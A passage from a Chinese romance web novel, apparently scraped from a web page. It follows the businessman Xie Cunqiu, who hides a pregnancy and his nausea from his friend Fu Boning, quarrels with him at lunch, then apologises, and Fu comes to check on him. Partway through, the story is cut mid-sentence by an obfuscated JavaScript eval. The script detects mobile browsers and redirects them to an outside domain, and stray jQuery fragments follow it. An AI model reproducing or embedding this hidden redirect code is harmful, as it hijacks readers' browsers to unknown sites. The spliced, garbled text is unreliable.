傅柏宁对自己在意的人和事从来不缺耐心。
他没催促,也没再问什么,谢存秋一贯强势又凌厉,在谈判桌上剑拔弩张的样子他都见过,可现在呢?
冷厉与强势如潮水般退去,难得的,眼前人似乎有些示弱的意味?
可能是因为小睡了一觉,眼里还蒙着一层稀薄的水雾,不知怎么就削弱了那份坚不可摧的凌厉感。
露出了这样堪称柔软的一面。
谢存秋攥紧傅柏宁的衣袖,指尖微微发麻,紧张、焦躁、不舍……种种情绪混杂在一起,拉扯着他的心绪。
半晌,他才扯了扯嘴角,松开手道:“没有不舒服,只是想问问你,不知道以后还有没有机会尝到你的手艺,不管是做菜还是烘焙,你都很有一手。”
“只是想说这个?”
“……嗯。”
傅柏宁知道谢存秋没说实话,但没关系,不急在一时半刻。
他顺势回道:“别人没什么机会,但你又不是别人,作为我关系相当好的朋友,肯定有很多机会,下次你想吃什么,可以点菜,我做给你吃。”
谢存秋点点头,示意了一眼电梯,尽量保持着语气平稳,道:“不早了,回吧,晚安。”
傅柏宁又盯着谢存秋看了足有半分钟,确认对方没什么大问题才离开。
都不是小孩子了,总该给彼此一些空间,有些事情还是看破不说破比较好。
谢存秋看着电梯面板上不断下行的数字,收敛了那丝笑意,眼底泛着些苦涩,能怎么着呢。
他认了。
左右不过是甘之如饴。
现在还不能操之过急,慢慢来,别说太过界的话,别做太过界的事,傅柏宁待他已经算是亲近,即便是跟对方现在关系很不错的薛明扬,只怕也没有这个待遇。
傅柏宁回到家,洗漱上床后,对谢存秋今晚上的欲言又止还是心有疑影。
在意,很在意。
或许等到合适的时机了再问问?
在短暂的一天休息后,他重又投入到了工作里,忙着见这个人见那个人,开这个会开那个会,没个消停的时候,但他很享受这样的状态,距离目标又近了一点,怎么能不让人满足呢。
生物科技这一领域的开拓已经初见成效,基础打好,后续才好进一步构建版图。
他跟谢存秋微信上一直保持着联系,每天多多少少都会聊一些,在他好不容易腾出空想约对方吃饭时,那头却拒绝了。
说是在忙。
忙着跟他前些天介绍的重工业行业的大佬们接洽、谈判,起码先搞定一两个,把这个窗口打开,后续才有可能带来更多的合作。
对此他充分理解,只叮嘱了对方尽量按时吃饭休息,没多说别的。
他自己工作起来都很专注,连轴转是常事,谢存秋比他更狠,说一句工作狂都不为过,关心可以,干涉没必要。
但这次似乎是他想简单了。
几天后的一个中午,对方约他吃饭,他正好有空,欣然赴约,然而一见面他就皱起了眉,不到一周没见,怎么就能瘦了一圈?
到底是怎么照顾自己的。
他在谢存秋身边落座,询问过对方后自己点了菜,在侍应生离开后,他才略微压低了嗓音问道:“忙得没好好吃饭?胃病又犯了?”
谢存秋避开傅柏宁的目光,拿起毛巾慢吞吞地擦着手,漫不经心道:“小毛病,没事,下周就能定下来一桩合作,忙完了缓两天就好。”
傅柏宁可一点不觉得没事。
但他没当即再说什么,先吃饭。
谢存秋其实没什么胃口,进入第三个月后,孕吐比他想象的要更严重,尤其是早上起来,总是吐得昏天黑地,吃不下东西,即便是逼着自己吃下去,也是吃多少吐多少,吃药也效果一般,瘦了是肯定的。
不过他并不在意。
检查他一项不少都按时做了,宝宝发育没问题,这就行。
另外就是傅柏宁这边,他是忙,但真的不至于忙到吃顿饭的时间都没有,主要是不想让对方看见自己现在这个状态。
乏力又疲倦。
他状态不好,但不得不强打精神跟合作方洽谈。
这是他追求的、在意的东西,不能疏忽大意,他也不能容忍自己倦怠,再加上戒酒戒咖啡,还吃不下东西,说实话压力不小,从身体到情绪都很紧绷。
一想到这些不舒服是怀孕导致的,另一位当事人还无知无觉,他简直要给委屈到天上去了,想抱抱,想时时刻刻跟对方黏在一起!
然而不行。
如果不是担心傅柏宁察觉到不对,他自己也是真的想见见对方,今天他不会邀约。
等到菜上完,他抿了抿唇,都是符合他口味的,清淡、好消化,还贴心地点了一道甜品,可他实在没胃口,又不想拂了对方的心意,让人担心,只能是压着胃里的难受吃了几口。
这顿饭吃得很是沉默。
傅柏宁看出了谢存秋的勉强,在对方放下筷子后,他又问道:“去医院看过了吗?你的胃病这次似乎挺严重。”
谢存秋扫了傅柏宁一眼,不自觉地皱起眉,那些郁结的火气蹭蹭蹭地从冰层下开始冒头了。
他明白傅柏宁是关心,是好意,不想把火气撒在对方身上,但又有点控制不住了。
他索性站起身道:“我的身体我自己知道,过两天就好了,真没事。时间不早,我先走了,回见。”
傅柏宁一把攥住了谢存秋的手腕,在对方垂眼看过来时,迎着眼前人的目光,道:“掩耳盗铃没有意义,你要不要对着镜子再看看?明显瘦了,别的事情好说,别拿自己的身体开玩笑。
“非要把可控的胃病熬成胃穿孔,小病变大病,你才肯多关心关心自己的身体吗?”
“你别对我说教!”
谢存秋这些天憋的火气本来就在岌岌可危的爆发边缘了,被这么一说,登时有些压不住火。
他手腕一转,挣开了傅柏宁的手,烦躁道:“我说了没事,不用关注这些无关紧要的小问题,你要是有这工夫,不如想想公司下一步怎么做!”
闻言,傅柏宁的神情逐渐冷了下来,沉沉的。
谢存秋整个人都有些炸毛,说话带着火星子,有着显而易见的不耐烦,脾气不好?气性大?他是第一次真的见到。
他再开口的嗓音稍微低了些,几乎是用陈述的语气道:“好,知道了,是我多管闲事,我一定记住谢总的话。”
谢存秋一怔,对方看起来很平静,但他却好像被这样轻飘飘的一句话兜头浇了盆带着冰碴子的冷水。
话说完,傅柏宁没再多待,径直离开了包间。
诚然,炸了毛的喵喵一样很可爱,但是他并不想承担这样无缘由的怒火,或许谢存秋觉得这就是干涉,可以,他知道界限在哪儿了。
他没有找骂挨怼的癖好。
谢存秋怔怔地望着傅柏宁离开的背影,直到对方开门离开,彻底看不见了,他才忽得意识到自己刚才都说了什么。
这一瞬间,他后悔了。
是他自己选择了要隐瞒,就该自己承担一切结果。
委屈也好,难过也罢,都只能忍着,不该冲傅柏宁发脾气,对方的本意是关心他,没有一点错。
他刚想追出去,跟人道个歉,把话说清楚,只是一只脚才迈开,一阵眩晕感随之袭来,几天没有好好吃东西,又一阵火气上涌,让他眼前倏地一黑。
他扶着椅子,堪堪没有栽倒,唇边划开一丝自嘲的笑意,给余佳霖打了电话……
傅氏集团这边。
潘钰觉得傅柏宁不太对劲。
中午是跟谢存秋一块儿的啊,平时老板跟对方见面总是心情很好,连带着对他们都温温和和的,让人如沐春风。
但今天呢,表面上看着依旧温文尔雅,她跟老板相处多一些,能从细枝末节处感觉到对方的心烦意乱,大概是闹别扭了?
她想了想,决定发挥沉默是金的优良品质。
吵架闹别扭都正常,越吵越亲,而且以她对现在的傅柏宁的了解,真不在意的人,比如魏梓豪和贾书宁,那根本就是视若无睹,更遑论生气。
既然在意,就肯定没事,老话说得好,床头吵架床尾和嘛!
傅柏宁的心情确实不太美妙,索性约了好友晚上一起吃饭。
薛明扬一瞅,就知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496283|170209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
傅柏宁的情绪不怎么样,对方并没有过度遮掩情绪,挺好,确实是把他当朋友的。
等一顿饭吃得差不多,他才慢悠悠问道:“谁招你惹你了啊,我猜猜,魏梓豪跟贾书宁那样的恶心玩意儿都没法让你生气,你今天这是——
“跟谢总有关吧?”
因为在意,才会被影响。
傅柏宁的神情间带着些不常见的倦懒,道:“只是我多嘴了而已,关心也是看要场合的,不然人家还不领情,讨了个没趣。”
薛明扬结合两人的性情一想,大致猜到怎么回事了。
他猜的不错,傅柏宁不会为不值当的人生气,这应该估计可能是跟谢存秋吵嘴了。
他宽慰道:“你还是在意他嘛,不然多什么嘴,你又不是多管闲事的人。
“而且人家还真不一定是觉得你多嘴才跟你吵,从你之前跟我说的来看,我觉得谢总挺看重你这个……你这个朋友的。
“说不定是发生了其他什么事影响了心情。”
“或许吧。”
傅柏宁稍微压了下关于谢存秋的那些思绪,说实话,已经很长时间没有一个人能像对方这样牵动他的情绪了,薛明扬说的没错,他是很在意。
也清楚谢存秋不是乱发火的人。
缓两天吧。
等两人都冷静一下再说。
跟薛明扬分开后,他才上车就听到了手机微信的提示音,他扫了眼,是谢存秋,问他现在方不方便接电话。
他的面容上没什么表情,电话?他现在其实不太想跟谢存秋说话,对方生气,他就不生气么,起码要缓一缓。
但是。
但、是!
他认命地叹了口气,半是坦然半是无奈地笑了声,祖宗,真是个磨人的小祖宗。
他直接把电话打了过去,那边很快接通,他沉默着,等着对方先开口。
半晌——
“柏宁,我很抱歉,不该冲你发火,我知道……你是关心我,只是这两天公司的杂事多,我有些烦,没控制住情绪……抱歉。”
傅柏宁顿了顿,在谢存秋开口的瞬间,他就心软了。
对方的声音听上去低哑而疲倦,透过这个嗓音几乎都能想象得到电话那头的人是怎样低沉的状态。
脾气不算太好的小混蛋一个,但他能怎么着呢,偏偏这么对他的胃口。
他缓声提醒道:“还有呢?”
“还有……确实有些不舒服。”
很好,这才是完整的实话。傅柏宁的手指在方向盘上点了点,接着启动车子,同时问道:“你在家吗?”
“……嗯?”
“在家吗?”
“在,你……”
“我现在过去,你等我。”
说完这句,傅柏宁直接挂断了电话,没给谢存秋拒绝的机会。
听着那把子有气无力的嗓音就知道晚上估计没吃饭,虽然往对方那里拐一趟肯定要错过自己日常的休息时间了,还有可能会因此而失眠,但偶尔例外没关系。
第二次来,他驾轻就熟地上楼,意外的是出来电梯门就看到了自己正惦念的人。
四目相对,他微皱起眉。
谢存秋给人的印象一贯是高冷且精致的,嘴巴毒得很,但实在是朵漂亮得让人无法忽视的高岭之花,无论什么时候都无可挑剔。
可眼下呢?
对方没穿外套,只穿了件衬衣,应该还是中午两人见面时的衣服,而且没系领带,扣子也解开了两颗,一眼看过去,这朵玫瑰好像是被风吹皱了花瓣。
再加上苍白又虚弱的面色,不说风一吹就倒,也是难得的带着些病容。
那点残存的火气算是熄得一干二净。
他先开口道:“我们去医院,现在。”
谢存秋没再回避眼前人的视线,道:“我刚从医院回来,看过了,老毛病,吃了药缓两天就好,你放心。”
傅柏宁不太放心。
他走近一步把两人之间的距离缩短到了十几厘米,随后倾身凑了过去。
谢存秋一下有些僵硬,呼吸都轻了。
这是、这是干嘛?!这架势不是要亲吻,就是要找茬呀!